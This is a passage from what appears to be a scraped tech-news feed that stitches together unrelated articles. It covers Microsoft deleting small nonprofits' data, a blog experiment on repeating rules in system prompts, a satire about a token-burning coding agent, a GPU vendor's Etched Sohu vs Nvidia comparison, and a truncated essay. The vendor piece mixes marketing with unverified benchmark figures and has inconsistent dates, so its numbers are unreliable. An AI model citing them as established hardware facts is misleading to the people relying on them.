At least, he did until June 11, when Khosla logged on to find that all the Canopy data stored with Microsoft had been deleted. He immediately called the tech company’s support staff, who said Canopy could retrieve its files. Later, they called back to inform him that, actually, those were gone forever.

What happened to Khosla was just one instance of a crisis that has rocked small nonprofit owners across the globe, who allege that Microsoft failed to communicate with them in a substantive manner about the license cancellations and left them unable to prepare their organizations for the future. As they’ve related online , these already resource-strapped nonprofits have lost troves of data, are struggling to continue their operations, and have been left unable to make up the technology gaps with alternative services. People who run service orgs with low budgets and benefited for years from Microsoft’s programs no longer have much of the technology they need to keep things going—for either the short or long term.

Khosla had seen Microsoft’s announcement last year that it was winding down its free nonprofit licenses beginning July 2025, but, per the record, he should have still been in the clear. He renewed Canopy’s yearly license last October, and Microsoft had emailed him to confirm he would retain access until Oct. 4, 2026. Khosla had no reason to expect anything would change, and he received no additional warnings—even as Microsoft kept in regular touch about other software updates. And he later learned he wasn’t alone, when another company service representative called the very next day and told him that roughly 171,000 small nongovernmental organizations “lost everything” in their OneDrive accounts.

In a statement emailed to Slate, Microsoft wrote that the original offers were “retired to streamline our grant offerings and simplify our grant portfolio,” adding, “We strongly advised our nonprofit customers and partners to transition to a different Microsoft 365 offer for nonprofits before their renewal date to avoid disruption and data loss.”

Khosla forwarded me the first email he had received, in May 2025, informing him: “The Microsoft 365 Business Premium grant will be discontinued on your next renewal on or after July 1, 2025. Your licenses will expire on October 4, 2025.” But, when Khosla renewed the license for another year, there was no additional information on the phaseout process in that confirmation email (which Khosla also forwarded to me), and there were no follow-up reminders sent after that.

One source who spoke to me on the condition of anonymity runs a child healthcare organization that lost everything; having sifted through the org’s email archives, spam and everything, he found “zero notification” from Microsoft about the license termination, even though he kept receiving official invoices listing $0 software charges. Another told me she was able to save the data for her D.C. nonprofit thanks to the help of an IT firm she contracts with, but insisted that neither she nor her tech team received any advance notice. On Reddit , and across Microsoft’s own Tech Community forums, more such claims abound of surprise deletion without notification. (Microsoft stated that it “began notifying nonprofit customers in Spring 2025” and offered “support” throughout the transition period.)

This was not a universal experience. Some commenters noted that they had received a May 2025 message from Microsoft warning of the coming grant phaseout, and others acknowledged occasional reminders to that effect; they were able to migrate their data to different platforms in a timely fashion. But one county historical society director based in Minnesota said she never got a single reminder after the May email. Some clients complained that even if Microsoft reached out, the messages rarely made sense. On the forums where Microsoft’s nonprofit cancellations were initially discussed in 2025, a user wrote that they’d assumed that those alerts were spam because Microsoft, at that time, was still promoting the free nonprofit grants on its website. The grant rollback was technically public information, but few would have known to look out without an emailed heads-up, and fewer still would have known where to find it, as it was not so prominently published alongside the corporation’s front-page, A.I.-emphasizing press releases. (As the D.C. nonprofit worker said: “If I don’t think that there’s going to be a change, why would I go monitor Microsoft’s page?”)

George Weiner, a nonprofits expert who runs the marketing consultancy Whole Whale, was made aware of Microsoft’s grant retractions from the very beginning, only by happenstance. “The announcement was buried on some info page and passed around by clients who were like, ‘Is this for real?’ ” he told me. “For a program that’s been around since 2013 , it was shocking that you’d come across its cancellation, effectively, in the corner of the bowels of a subpage of the internet.”

Weiner, who has managed literary nonprofits in the past, was well aware of how Microsoft’s change-up would affect the 400,000 small orgs that had taken advantage of the program, and tried to raise broader awareness . The sweeping majority of American nonprofits operate with annual budgets under $1 million ; the value they got from Microsoft’s free business software equated to about 30 percent of their IT spend, he told me.

“Microsoft wasn’t giving much of an off-ramp, and they were dropping their security package during a critical time for nonprofits, when we’re seeing A.I.’s ability to penetrate more organizational infrastructure ,” said Weiner. “They primarily emailed the nonprofits’ administrative accounts, and they were rolling off about 33,000 organizations per month. It would be very easy for someone to go on vacation at the wrong time and come back only to wonder what happened to all their data.”

It was, indeed, very easy to miss the warnings. The admin emails to which Microsoft sent those notifications tend to get slammed with junk from spammers, leading software developers to recommend ignoring those inboxes altogether. One source, who helps his mother run a disability services nonprofit and spoke to me on the condition of anonymity, told me he had all key nonprofit communications from Microsoft, including tech support, directed to a Gmail address, since neither he nor his mother found the Outlook interface intuitive or useful. (“Nothing else came to that email except for our invoices, which always read $0.”) After the nonprofit’s data was purged in June, he realized that he’d gotten two emails warning about the impending license suspension to his admin account, which did not automatically forward to his Gmail, and which he could not view on Outlook’s desktop interface—only on the web app. (I asked my other sources if they’d double-checked their own administrative addresses, and they insisted no warnings had come through; Microsoft did not address my queries regarding the structure of the admin accounts.)

The Big Tech behemoth did not offer a reason to me as to why it pulled the plug on a widely used program and then rendered its clients’ data irretrievable, beyond its already-professed goal of “streamlining” and “simplifying” its grants. Weiner suspected it was in part political , a way to sidestep Trump administration scrutiny over inadvertent Microsoft support for orgs the government did not like. But the company still does offer nonprofit services. The issue is that once-free premium features are fenced off at higher prices, and the more-cost-effective options work nowhere near as well. The D.C. nonprofit owner told me that her team has been working with online versions of Office apps, instead of their desktop counterparts, and has found that documents will often crash and lose work if multiple people collaborate on a given project.

The context surrounding Microsoft’s decision gives some clues. The PR trade-offs of nonprofit support are very different now from when Microsoft began offering these grants in 2013. At that time, charitable giving was trendy in the tech sector, with brands like Microsoft boasting of their employees’ multimillion-dollar donations —complete with matching funds—and the companies’ own philanthropic efforts . In more recent years, as Microsoft has struggled to catch up in the A.I. race and faced public skepticism over its purported social justice commitments, the company has refocused on supercomputing and on primarily appeasing the man who could help this pursuit (President Donald Trump), whatever the costs. Hence, “donations” were redirected toward Trump’s inauguration fund and the White House ballroom , while expenses were slashed across myriad non-A.I.-specific divisions: video gaming , marketing , and LinkedIn , for example. Meanwhile, Microsoft desperately needs more room for data storage as A.I. is added into all its major products. We’ve already seen Big Tech names like Meta and Google erase user data and impose limits on virtual storage as A.I. expenditures balloon and memory becomes more expensive .

The small nonprofits left behind are now visibly struggling. The childhood healthcare nonprofit operator I spoke to lost about 500 gigabytes of his firm’s data—which he didn’t back up externally because OneDrive offered automatic backup syncing—as well as access to two particular apps, Power Automate and Forms, that he found useful for handling affairs with donors. (“There’s no easy or quick alternative that we can make work in the short term.”) The man who runs the disability services nonprofit wrote to me that it’ll take him and his mother “hundreds of hours” to fully re-create the instructional videos and documents that went poof.

For his part, Ronald Khosla happened to keep up a yearly habit of storing all Canopy data in an external hard drive, because “Microsoft does not make backup easy,” he told me. That drive is physically stored on the East Coast—across the country from where he resides, in Oregon, which means he’ll have to make a flight to restore said data onto a different cloud provider while rejiggering his nonprofit’s software library. “Multiple people need access to that data, so we’re all in limbo until I fly back,” he said. “We’re losing time and money, but we are going to survive.”

Say It Four Times (In Your System Prompt)

Hacker News
www.khola.blog
2026-08-23 14:40:47
Comments...
Original Article

The short version: repeating an instruction in your system prompt genuinely helps. It stops helping at around four repetitions. Everything after that is superstition, and it costs you tokens.

That’s the whole finding. It cost about a dollar to get, and I think it’s a nice little thing to know on a Tuesday.

This is the first of what I want to make a weekly habit here. Pick one claim that floats around about AI coding agents, test it in a weekend, publish the numbers whether or not they’re flattering. Not research. Just somebody actually checking.

You’ve seen the advice. Repeat the important instruction. Put it at the top and the bottom. Say it twice so the model takes it seriously. Everybody does some version of this, myself included, and I’ve never seen a number attached to any of it.

Then a paper came through my daily brief with an actual shape for it. Han-yu Wang’s When More Becomes Less: Position-Dependent Repetition Effects in Language Models (paper: arXiv 2608.04021 , briefing: 6 August ) tests what happens as you add more copies of a target, and finds the answer depends on where the copies sit. Copies stacked next to each other climb and then flatten out. Copies spread away from where the model reads out produce a hump, rising to an early peak and then falling.

That’s a specific, checkable claim about something I do every week, so I checked the half that matches how I actually write prompts.

I wrote my guess down first, which is a rule I’m keeping. My guess was that I’d see the hump, including the fall. I was wrong, and being wrong sent me back to read the paper properly, which is its own small lesson.

The setup is deliberately boring.

I picked one rule a model can either follow or not: use single quotes, never double quotes. Then I asked for six ordinary Python functions, the kind of thing you’d write on any given afternoon. Merge some intervals. Flatten a dictionary. Parse a version string.

The only thing that changed between runs was how many times that quote rule appeared in the system prompt: zero times, once, twice, four, eight, or sixteen. Same rule, just repeated more.

Thirty tries of each combination. 1,080 runs total, on Gemini 2.5 Flash, all of it on Vertex.

Checking the answers needed no judgment calls. I ran Python’s own tokenizer over the generated code and counted strings that opened with a double quote. Zero of them means it followed the rule. That’s it. No model grading another model, no me squinting at diffs deciding what counts.

The zero-repetition runs are the important control. That’s where I never mention quotes at all, which tells me what the model does when left alone.

One detour worth mentioning: my first three candidate rules were all duds. I tried “no comments,” “no docstring,” and “no type hints,” and the model obeyed all three about 99% of the time on the first ask. You can’t measure whether repetition helps when there’s no room left to improve. So I went looking for a rule the model actually resists, and quote style turned out to be one.

The control row is my favorite number in the table. Left to itself, the model used double quotes every single time. Not most of the time. All 171 of them. So its habit here is about as strong as a habit gets, which makes the rest of the table mean something.

Say the rule once and you’re at 74%. Say it four times and you’re at 97%. Those two are far enough apart that I’m comfortable calling it real.

Past four, the line goes flat. Eight and sixteen land inside the same range as four. My predicted decline never showed up, and to be straight with you, at this sample size I could miss a small one. What I can say is that nobody is getting paid back for repetitions five through sixteen.

Here’s the part I only understood afterward. I stacked all my copies of the rule right next to each other, which is the adjacent case in Wang’s paper, and adjacent is exactly the case that’s supposed to climb and then flatten. The hump I went looking for belongs to the other case, where the copies are spread out away from where the model is reading. So this didn’t contradict the paper. It landed on the paper’s prediction from a completely different direction, with a natural-language rule handed to a coding model instead of tokens in a probe. That’s a better outcome than the one I predicted, and I’d have missed it entirely if I hadn’t gone back to the source.

The average is hiding almost everything. Two of my six tasks hit 100% on the very first mention and never wavered. Another one, merging intervals, sat at 20% with a single mention and needed four to climb to 97%. So repetition isn’t broadly making the model more obedient. It’s rescuing the specific spots where the model’s habit is fighting your rule. If none of your work looks like those spots, you’re paying for nothing.

Most of these cells are coin flips. Between half and two thirds of my task-and-repetition combinations came back neither all-pass nor all-fail across thirty identical runs. Same prompt, same model, same settings, different answer. If you’ve ever tweaked a prompt, run it twice, and concluded the tweak worked, this is the number that should bother you. It bothers me.

The leftover violations had a shape. Once the rule appears even once, ordinary double-quoted strings disappear completely. What survives is the triple-quoted docstring at the top of the function. The model seems to file """this""" under documentation rather than under strings, so a rule about quotes never reaches it. If you’ve had a constraint that got obeyed everywhere except one stubborn place, that’s probably what’s happening. The model has the thing in a different mental drawer.

If you work somewhere with a prompt library. Cap repetition at about four in your templates and spend the leftover room on examples instead. The bigger one is the coin-flip problem: if your team evaluates a prompt change by running it once before and once after, that process is theater. Ask how many runs before you ask what the result was. Three is a floor. Ten is better.

If you’re building something on your own. When a rule isn’t landing, repeating it up to four times is the cheapest fix you have and it genuinely works. If four doesn’t do it, stop repeating and change something else, because five through sixteen bought me nothing. And when a constraint gets followed everywhere except one place, go look for the thing the model has filed under a different name, the way a docstring isn’t a string.

This is one person, one weekend, one model. It’s not state of the art and it isn’t trying to be.

I tested Gemini 2.5 Flash with thinking off, on one day. Different model, different family, or thinking switched on could all move this. I tested one rule about syntax, repeated literally, with every copy in the same place. Rules about behavior, or rephrased each time, are untested here.

The big untested one is spacing. Every copy of my rule sat in one block, and the paper says that’s the case that flattens. Spreading the copies through the prompt is the case that’s supposed to turn around and hurt you, and that’s the next experiment rather than a caveat I can hand-wave. And these were six small standalone functions, not a real repository with a real agent loop, which is exactly the kind of thing that usually doesn’t survive the jump.

One more, because it nearly cost me the whole experiment. My first real run threw away most of its samples as unreadable. Gemini’s thinking tokens count against your output limit but get reported separately, so a limit that looked generous was quietly eaten by reasoning and the actual code got cut off mid-word. Worse, it cut off more often in some conditions than others, so what survived was skewed differently in every column. Before I caught it, my headline number read 39%. After, 88%. Same code, same model, same afternoon. If your evaluation setup doesn’t record why generation stopped, it can hand you a confident wrong answer and never mention it.

It’s all public. The guess I wrote down before running, the code, the checker, and every one of the 1,080 runs including the ugly ones.

git clone https://github.com/nkhola/field-tests
cd field-tests/ft-01-say-it-four-times
python analyze.py

If you run it and get something different, I genuinely want to hear about it.

This one came out of The Post-Human Briefing , my daily AI and markets brief. Machine-built, human-audited. New Field Test most weeks.

Discussion about this post

Ready for more?

The Vibe Tax

Hacker News
insufferable.dev
2026-08-23 14:31:02
Comments...
Original Article

So you have decided to start on that long-awaited, from-scratch todo app. There are millions of such apps but this will be yours. Something tailored for your unique workflow.

Normally you wouldn’t even take up such an endeavour. Any handwritten code takes time. And time is one thing you don’t have. Doesn’t help that you also write code for a living.

But now you are more confident. Thanks to the LLMs you don’t have to hand type any of it. It helps that you are a good software engineer with experience in an adjacent area.

As is your way of developing software, you start with a small spike or, in normie terms, a proof of concept.

You type in instructions meticulously, constraining the agent to your wishes. You always had a way with the agents.

The latest one named Pol would be no different. It has been ranking way up in the benchmarks. They all get better over time, so if anything, this would be easier than a month ago.

You set the agent to crunch the code, go on with your regular work or maybe go to sleep. After all, the agents are quite autonomous these days.

You wake up and, as is the ritual, walk over to your desk to check on Pol. It is always thrilling to check out the first cuts. They are crude, unpolished, error-prone but rewarding. Creating something out of nothing. From a thought to working software. As if magic and witchcraft has finally come true.

The first glance doesn’t show any software yet. Hmm, that cannot be right. Did you run it even? With some self-doubt you switch to Pol’s dinky little terminal.


0% weekly usage. Reset will be 7 days from now.

You stare at it confused. Pre-caffeine brain refusing to comprehend the implications of it. Or maybe not wanting to. You just had your weekly reset yesterday so this has to be a mistake.

You frantically type commands to check on the usage and status. All show the same conclusion. Somehow over the last 12 hours, Pol has meticulously, methodically, magically drained your entire weekly quota. Billions of tokens vanished into thin air. Poof.


You are not a slouch. You are not a vibe coder. So you dig into the project code. To understand if Pol recreated Windows 12 by mistake or maybe GTA 7.

The repo is mostly empty except for a single subfolder named ‘tests’. You dig into it. More subfolders. Each with a meticulously generated sha256 hash of its own.

Each covering an edge case your app will have to jump through hoops to reach.

Each test pristine and covering a corner case that will never be hit. A 10-million-token burn to ensure no human has to ever hit any issue with the app. And they never will hit anything either because the app itself is nowhere to be seen. Not even a placeholder or todo.


Then it comes to you. The reason for over-orchestration. The reason for overengineering. The reason for overly paranoid test coverage.

It’s because millions of vibe coders have trained it over the months into something that can one-shot everything without issues. It just uses 10x as many tokens as before. A price they are willing to pay to not have to ever look at the code.

A price that’s essentially a tax on all other regular software developers.


A Vibe Tax

Etched Sohu vs. Nvidia: Transformer ASIC vs. GPU (2026) – Spheron Blog

Hacker News
www.spheron.network
2026-08-23 14:27:33
Comments...
Original Article

Etched Sohu is a transformer-only ASIC, and Etched AI claims one 8-chip Sohu server delivers 500,000 tokens per second on Llama 70B, roughly 62,500 tokens/sec per chip. For comparison, a single H100 SXM5 achieves around 700 tokens/sec at batch 1 with vLLM. That per-chip advantage is real in the sense that it reflects Sohu's architecture: the chip hard-codes transformer attention directly into silicon as fixed-function logic rather than as software running on a programmable compute unit. The implied tradeoff is the entire story here. Sohu is a bet that transformer attention is the dominant AI architecture for the next several years, and that the workload is stable enough to justify giving up all programmability.

For teams evaluating inference hardware right now, the practical question is not whether Sohu is fast. It is whether the architectural constraints, supply risk, and toolchain migration cost are acceptable for your specific workload. This post covers the architecture in detail, compares Sohu against H100, B200, and the Groq 3 LPU, and gives a framework for deciding when the ASIC bet pays off. For a currently available ASIC comparison, see the SambaNova SN40L vs H200 and B200 guide , which covers the RDU architecture and live cost-per-token math.

Update: Etched Exited Stealth on June 30, 2026

Etched formally came out of stealth on June 30, 2026, and the announcement moved the story from "interesting claim" to "funded, contracted roadmap." The concrete facts: working A0 silicon demonstrated, a rack-scale 8-chip Sohu inference system unveiled, roughly $800M raised across four rounds (including a reported $500M round at a $5B valuation), over $1B in signed customer contracts, and first racks scheduled to ship in summer 2026. What has not changed: no independent third-party benchmarks, no public pricing, and no self-serve way to rent a Sohu today. Everything below, including the cost-per-token framework, still applies; the difference is that the availability question now has a date attached instead of a shrug.

What Is Etched AI and the Sohu Chip

Etched AI is a chip startup founded in 2022, having raised roughly $800 million across four rounds, including a reported $500M round at a $5B valuation. Their first product is the Sohu chip, a transformer-only ASIC designed for autoregressive language model inference. The name and funding are real. Since the June 30, 2026 stealth exit, Etched has shown working A0 silicon and booked over $1B in signed contracts, with first racks slated for summer 2026. It is still not something you can buy or rent today, and no independent benchmarks exist yet.

The core architectural claim is that by implementing transformer attention as fixed-function silicon rather than as programmable matrix multiply instructions, Sohu can achieve throughput figures that no GPU can match for the same workload class. NVIDIA GPUs are programmable compute units that run CUDA kernels written in software. Groq's LPU is a dataflow processor with a custom compiler. Sohu takes a different position: there is no programmability layer at all. The chip does one thing, and it does it by being physically built for that one thing.

This is different from other custom inference chips in an important way. The Groq 3 LPU has a compiler that can, in principle, be extended. AMD GPUs support ROCm. Tenstorrent ships TT-Metal as open-source software. Sohu's architecture does not have a software abstraction layer in the same sense. If transformer attention changes in the next generation of models, the chip cannot adapt. For hyperscaler-built ASICs (Trainium 3, Maia 200, Meta MTIA), see the hyperscaler custom AI chip roundup .

Sohu Architecture: The Transformer-Only Bet

Fixed-Function Transformer Units

Transformer attention requires three core operations at each layer: computing query, key, and value projections; running multi-head attention across the KV cache ; and passing results through a feed-forward network. On a GPU, each of these is a CUDA kernel that can be swapped out for a different implementation. PagedAttention, FlashAttention-2, and FlashAttention-3 are all software optimizations that improve how attention is computed on general-purpose hardware.

On Sohu, these operations are hardwired as static circuits. The chip does not have a general matrix multiply unit that runs attention software. It has physical circuits that implement the attention computation directly. This removes all of the overhead from kernel launch latency, memory allocation, and scheduler decisions. It also means the chip cannot run any computation that does not map to transformer attention. There is no way to compile a convolution, an SSM scan, or a diffusion U-Net step onto Sohu because there are no programmable units to target.

On-Chip Memory Design

Sohu's throughput advantage comes primarily from memory bandwidth. The bottleneck for autoregressive decode on GPUs is KV cache reads: each new token requires reading the full KV cache from HBM. The H100 SXM5 has 80 GB of HBM3 with 3.35 TB/s of bandwidth. Every token generation step is bounded by how fast the model can read those KV cache values.

According to Etched's published materials and industry reporting, Sohu uses 144GB of HBM3E per chip with approximately 1.8x the memory bandwidth of an H100 SXM5. Our HBM3e vs HBM4 vs HBM4e inference guide covers what that same HBM3E generation delivers on GPUs, so you can see how much of Sohu's bandwidth edge comes from the memory type versus the fixed-function architecture. That gives Sohu more memory capacity than an H100 (80GB) at roughly 1.8x the H100's 3.35 TB/s bandwidth, using the same HBM architecture that GPUs use rather than replacing it with on-chip SRAM. The Groq 3 LPU takes a fundamentally different route: 500 MB of on-chip SRAM per chip achieves 150 TB/s bandwidth but with very limited context window capacity. Sohu's throughput advantage over GPUs comes from architectural specialization of transformer attention patterns built on top of standard HBM3E, not from a SRAM-based design like Groq. Multi-chip configurations are still required for large model weights since even 144GB fills quickly with 70B+ parameter models at full precision.

What Sohu Cannot Do

This is the section that matters most for most teams.

  • Vision and multimodal models: any model with a visual encoder (LLaVA, Qwen-VL, LLama 3.2 Vision) cannot run on Sohu because the encoder uses convolutional or attention operations outside the pure transformer pattern
  • Diffusion models: image generation (Stable Diffusion, Flux) and video generation (Wan 2.1, CogVideoX) require U-Net convolutions that are not transformer attention
  • MoE with dynamic expert routing: DeepSeek V4, Mixtral, and Qwen3-235B-A22B use sparse expert selection at each token, which requires irregular memory access patterns that fixed-function transformer circuits cannot accommodate
  • SSM and Mamba architectures: state space models replace attention with a scan operation, which is computationally different from transformer attention
  • Training and fine-tuning: Sohu has no backward pass implementation; it is inference-only
  • Future architectures: any model architecture that does not conform to dense transformer attention requires new hardware

DeepSeek V4 and Qwen3-235B-A22B are two of the most widely deployed open-weight models as of April 2026. Both are MoE architectures. Both are incompatible with Sohu. This is not a niche edge case. It means a significant fraction of current production inference workloads cannot run on Sohu at all.

Etched's Claimed Numbers vs Realistic NVIDIA Baseline

Etched's 500,000 tokens/sec figure for Llama 70B is for an 8-chip server, from their own published materials, and has not been independently verified. The conditions are important: this appears to be measured at or near batch size 1, where the fixed-function attention circuits can operate at peak efficiency without the batching overhead that GPUs exploit to amortize their lower per-token bandwidth.

At higher batch sizes, the picture changes. GPU throughput scales well with batching because the compute units stay busy across multiple requests. Fixed-function attention circuits do not benefit from batching in the same way; their advantage is decode throughput per request, not aggregate throughput across many requests.

Model Sohu per chip (claimed by Etched) H100 SXM5 (vLLM) B200 SXM6 (vLLM) Notes
Llama 70B at batch 1 ~62,500 tok/s ~700 tok/s ~1,200 tok/s Sohu figure derived from 8-chip server claim of 500k tok/s
Llama 70B at batch 32 TBD ~5,000 tok/s ~9,000 tok/s
Llama 70B at batch 256 TBD ~45,000 tok/s ~80,000 tok/s

Sohu figures are per chip, derived from Etched's published 8-chip server claim of 500,000 tok/s on Llama 70B; not independently verified. NVIDIA figures reflect vLLM with FlashAttention-2 on a single chip. Run your own benchmarks before making procurement decisions.

The batch size gap is critical for any team running a serving API with concurrent requests. At batch 256, a single H100 can generate 45,000 tokens per second. Etched's 500k tok/s figure is for an 8-chip server at batch 1, which normalizes to roughly 62,500 tok/s per chip. A fair comparison requires matching conditions. Etched has not published batch 32 or batch 256 figures.

Sohu vs B200 and B300: Throughput and Cost for Pure Transformer Inference

For teams with pure transformer workloads, the cost-per-million-token comparison matters more than raw throughput. The formula is: Cost per 1M tokens = ($/hr) / (tokens/sec × 3,600) × 1,000,000

Chip On-demand ($/hr) Spot ($/hr) Llama 70B tok/s (batch 32) Cost/1M tokens (on-demand)
H100 SXM5 (Spheron) $3.38 $1.46 ~5,000 ~$0.188
B200 SXM6 (Spheron) $7.50 $2.74 ~9,000 ~$0.231
B300 SXM6 (Spheron) $10.21 $5.81 ~16,000 (est.) ~$0.177 (est.)
Sohu (Etched, est.) Not available ~62,500/chip at batch 1, unverified (8-chip server: ~500k) Not calculable

Pricing fluctuates based on GPU availability. The prices above are based on 02 Aug 2026 and may have changed. Check current GPU pricing → for live rates.

Sohu's cost-per-token cannot be calculated because the chip is not available for purchase or cloud rental, and Etched has not published pricing. The throughput figure that would make it competitive is also only available at batch 1, which overstates real-world advantage versus GPUs at typical serving batch sizes.

For teams making decisions today, Spheron B200 instances deliver 9,000 tokens/sec at batch 32 for roughly $0.231 per million tokens on-demand, available now with full vLLM and TensorRT-LLM support. Spot runs cheaper at $2.74/hr but can be reclaimed without notice, so on-demand is the planning rate for anything with an SLA. B300 is live at $10.21/hr and lands near $0.177 per million tokens on estimated throughput, which narrows the cost advantage Sohu would need to offer. For a deeper breakdown of how B200 stacks up against H200 and GB200 beyond this ASIC comparison, see our H200 vs B200 vs GB200 guide .

Sohu vs Groq 3 LPU: Two Non-GPU Inference Chips

Both Sohu and the Groq 3 LPU are non-GPU inference chips targeting the same bottleneck: HBM memory bandwidth limits autoregressive decode throughput. They take very different approaches, and the practical differences matter. For the full Groq 3 LPU architecture breakdown, see the NVIDIA Groq 3 LPU explained post.

Dimension Etched Sohu Groq 3 LPU
Architecture Fixed-function transformer ASIC Dataflow SRAM processor (programmable)
Memory 144GB HBM3E per chip 500 MB on-chip SRAM per chip
Memory bandwidth ~1.8x H100 SXM5 bandwidth 150 TB/s per chip
Programmability None (hardwired ops only) Custom compiler, some flexibility
vLLM compatibility No No (disaggregated via NVIDIA Dynamo)
Ecosystem backing Startup (Etched AI) NVIDIA-licensed, data center deployments
Production availability (Apr 2026) Pre-production, no public access Early access
Architecture flexibility Transformer only Transformer-focused, limited MoE support

The most important difference is organizational backing. Groq was acquired into NVIDIA's product portfolio with a $20 billion licensing deal. The Groq 3 LPU is being deployed in data centers as part of NVIDIA's DGX infrastructure strategy, with NVIDIA's supply chain and enterprise contracts behind it. Sohu is a startup chip, and while Etched has raised roughly $800 million and holds over $1B in signed contracts, it lacks the organizational infrastructure, supply chain, and enterprise support contracts that NVIDIA brings. That difference in risk profile compounds every other comparison point. Unlike Sohu, Groq's current-generation LPU is already rentable today, and so is Cerebras's WSE-3, the other non-GPU chip actually available for production traffic; our Groq LPU vs Cerebras WSE-3 comparison works out which of those two live options is cheaper per million tokens.

For a look at how OpenAI is approaching the same vertically integrated inference ASIC bet at hyperscaler scale, see the OpenAI Jalapeño chip explained guide. AMD is now making a similar bet from a different angle: its August 2026 acquisition of Taalas brings a chip that fabricates a model's weights directly into silicon rather than hard-coding transformer attention. See AMD's Taalas acquisition explained for how that HC1 chip's constraints compare to Sohu's.

The Transformer-ASIC Bet: What Etched Gives Up

The premise behind Sohu is that transformer architecture has converged and will remain the dominant paradigm for AI for long enough to justify giving up all programmability. This is a specific architectural bet, not just a performance optimization.

Workload Sohu Groq 3 LPU H100/B200
Dense transformer inference Yes Yes Yes
MoE inference (DeepSeek V4, Qwen3-235B-A22B) No Partial Yes
Multimodal (vision encoder + language model) No No Yes
Diffusion image/video generation No No Yes
SSM/Mamba No No Yes
Training and fine-tuning No No Yes
Future architectures High risk Medium risk Low risk

The counter-evidence to this bet is already in production. DeepSeek V4 is the most downloaded model on Hugging Face as of early 2026 and it is a 671B MoE architecture that Sohu cannot serve. Qwen3-235B-A22B is a 235B MoE model that represents the frontier of open-weight capabilities. The move toward MoE is not a future risk; it is the current reality.

Diffusion language models are an emerging category with a different compute pattern. See the diffusion language models on GPU cloud guide for a detailed breakdown of how dLLMs differ architecturally from autoregressive transformers. Any team serving or planning to serve dLLMs alongside standard transformers cannot use a transformer-only ASIC.

When Sohu Wins

For teams where Sohu's constraints are genuinely acceptable, the throughput advantage is real. The specific scenarios where Sohu's architecture makes sense:

  • Pure autoregressive dense transformer serving with a single model architecture locked in for two or more years, where you are certain you will not adopt MoE or multimodal
  • Extreme low-latency requirements where batch 1 decode speed is critical and you accept the throughput tradeoff at higher concurrency
  • Greenfield infrastructure builds with no existing CUDA toolchain investment, where the migration cost to Etched's compiler is not additive
  • Commodity transformer serving at hyperscale where the model architecture is static and the focus is on cost reduction per token at very high volume
  • Organizations with the engineering resources to build and maintain a proprietary inference stack independent of vLLM, SGLang, and TensorRT-LLM

When NVIDIA Wins

For most teams, NVIDIA H100 or B200 is the right choice right now. Specifically:

  • Any multimodal workload combining vision encoders with language models
  • MoE models, which includes DeepSeek V4, Mixtral, and Qwen3-235B-A22B
  • Diffusion model serving for image or video generation
  • Workloads where SSM or Mamba architectures are under evaluation
  • Teams running training or fine-tuning alongside inference on the same infrastructure
  • Any team that depends on vLLM, SGLang, TensorRT-LLM, or FlashAttention today
  • Organizations that need production hardware now, not in 12-18 months
  • Teams that cannot accept the software risk of a pre-production startup toolchain

The CUDA ecosystem is 18 years old and deeply embedded in every major inference framework. vLLM's PagedAttention, TensorRT-LLM's kernel fusion, SGLang's multi-turn session management, FlashAttention-3's hardware-specific optimizations: all of these are CUDA-native and require complete rewrites to move off GPU.

Etched requires a custom compiler developed by Etched AI. There is no migration path from vLLM or TensorRT-LLM. Moving to Sohu means rebuilding your serving stack from scratch with a proprietary toolchain, then maintaining it on hardware from a startup. If Etched hits schedule and the chip performs as claimed, you win on cost. If they miss a release date, pivot, or have a supply chain issue, your serving stack is on unsupported hardware.

Compare this to the Groq 3 LPU: NVIDIA-backed, integrated with NVIDIA Dynamo for disaggregated inference, with an enterprise support contract behind it. Or compare to Tenstorrent: at least TT-Metal is open-source under an MIT license (see the Tenstorrent vs NVIDIA post for how the software story plays out in practice). Sohu has neither the organizational backing of Groq LPU nor the open-source hedge of Tenstorrent. Qualcomm's AI200 and AI250 take a third path entirely, betting on memory capacity rather than fixed-function throughput; see our Qualcomm AI200 vs NVIDIA comparison for how that inference-only bet compares.

TCO Model: When Does the ASIC Bet Pay Off

The break-even logic has three conditions that all need to hold simultaneously:

  1. The ASIC's cost per token must be materially lower than GPU cloud for your specific workload and batch profile
  2. The migration and toolchain rewrite cost must be less than the cumulative savings over a realistic time horizon
  3. The architecture must stay stable long enough to amortize both costs before the next generation of models makes the hardware obsolete

For Sohu specifically, none of these can be verified today. Etched has not published pricing or per-rack costs. The toolchain migration cost is unknown but likely significant for any team with a mature vLLM deployment. And the architecture stability assumption is already in question given the production adoption of MoE models.

Consider the alternative: rent H100 by the hour on Spheron at $3.38 per hour with no CapEx commitment and no toolchain migration. When B200 is available, switch. When B300 becomes accessible, switch again. Flexible GPU cloud rental requires no migration cost, no architecture bet, and full access to every model that ships in the next 12 months.

Practical Guidance for AI Infra Teams

Today, July 2026, GPU cloud is still the right default for transformer inference. H100 and B200 are available now, vLLM runs on both out of the box, and the cost-per-token figures are competitive with any ASIC claim that has not been independently verified at production batch sizes.

Over the 12-18 month horizon, watch Sohu closely if your stack is genuinely pure transformer and your token volume is high enough that GPU cloud spend is a meaningful line item. Get on Etched's early access list, but do not commit production traffic until there are independent benchmarks at your actual batch sizes and a clear migration path from vLLM.

The hedge strategy is to build your cost and throughput baseline on Spheron GPU cloud now. Measure tokens per second at your production batch sizes. Calculate your actual cost per million tokens. That number is the benchmark every ASIC claim, including Sohu, Groq LPU, and Cerebras , must beat to justify migration. Without that baseline, ASIC throughput claims have no reference point.

For teams that have not yet picked a GPU for inference, the best GPU for AI inference guide covers H100 vs H200 vs B200 vs L40S with concrete decision criteria based on model size, batch size, and budget.

Etched Sohu is a real architectural bet, but it is not available for production workloads today. H100 and B200 GPU cloud on Spheron lets you serve transformer inference now and build the benchmark baseline you need to evaluate Sohu, Groq LPU, or Cerebras when they prove out at scale.

Browse H100 capacity → | Check B200 availability → | View all GPU pricing →

Anthropic's best AI model struggles to attract users as cheaper tools thrive

Hacker News
www.ft.com
2026-08-23 14:16:37
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Reason
Challenge
Request ID
a2fcbf9c3fdf16a7
Status Code
403

AI and Infrastructure Engineering

Hacker News
omegion.dev
2026-08-23 14:09:01
Comments...
Original Article

· 6 min read

Introduction

There’s a push right now for whole companies to adopt AI wholesale - dump every bit of context into it, write an AGENTS.md or INSTRUCTIONS.md in every repo so any project is discoverable and contributable by an agent, not just a human. Slightly funny, if you think about it: I’ve never once gotten a human teammate to actually read the README, and now we’re all writing better docs than we ever did, just aimed at a robot instead. The question that comes with it is the obvious one: does this make engineering redundant? Once all the context about a stack and its infrastructure is written down somewhere an agent can read it, are we next?

